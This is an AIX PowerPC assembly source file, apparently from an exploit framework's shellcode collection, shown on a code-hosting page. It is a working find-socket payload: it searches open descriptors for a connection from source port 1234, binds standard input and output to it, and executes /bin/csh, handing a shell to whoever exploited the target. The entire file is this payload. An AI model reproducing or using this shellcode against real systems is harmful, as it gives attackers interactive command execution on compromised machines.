Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-fndsockcode.S
Views: 11766
/*1* aix-power-fndsockcode.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920/*21* Supported AIX versions:22*23* -DAIX614 AIX Version 6.1.424* -DAIX613 AIX Version 6.1.325* -DAIX612 AIX Version 6.1.226* -DAIX611 AIX Version 6.1.127* -DAIX5310 AIX Version 5.3.1028* -DAIX539 AIX Version 5.3.929* -DAIX538 AIX Version 5.3.830* -DAIX537 AIX Version 5.3.731*32*/3334#include "aix-power.h"3536.globl .main37.csect .text[PR]3839.main:4041syscallcode:42xor. %r31,%r31,%r3143bnel syscallcode44mflr %r3045cal %r30,511(%r30)46cal %r30,-511+28(%r30)47mtctr %r3048bctr49crorc %cr6,%cr6,%cr650.long 0x44ffff0251cal %r30,-8(%r30)5253fndsockcode:54lil %r29,__CAL5556# getpeername5758stu %r31,-4(%r1)59mr %r28,%r160cal %r27,-__CAL+44(%r29)61stu %r27,-4(%r1)62mr %r27,%r163640:65cal %r31,511(%r31)66cal %r31,-511+1(%r31)6768mr %r5,%r2769mr %r4,%r2870mr %r3,%r3171cal %r2,__NC_getpeername(%r29)72mtctr %r3073bctrl7475cal %r26,511(%r28)76lhz %r26,-511+2(%r26)7778cmpli 0,%r26,123479bne 0b8081# close8283cal %r25,-__CAL+2(%r29)84851:86mr %r3,%r2587cal %r2,__NC_close(%r29)88mtctr %r3089bctrl9091# kfcntl9293mr %r5,%r2594xor %r4,%r4,%r495mr %r3,%r3196cal %r2,__NC_kfcntl(%r29)97mtctr %r3098bctrl99100ai. %r25,%r25,-1101bge 1b102103shellcode:104# lil %r29,__CAL105xor. %r5,%r5,%r5106bnel shellcode107# mflr %r30108# cal %r30,511(%r30)109# cal %r3,-511+40(%r30)110# stb %r5,-511+48(%r30)111mflr %r24112cal %r24,511(%r24)113cal %r3,-511+40(%r24)114stb %r5,-511+48(%r24)115stu %r5,-4(%r1)116stu %r3,-4(%r1)117mr %r4,%r1118cal %r2,__NC_execve(%r29)119# crorc %cr6,%cr6,%cr6120# .long 0x44ffff02121mtctr %r30122bctrl123.asciz "/bin/csh"124125126127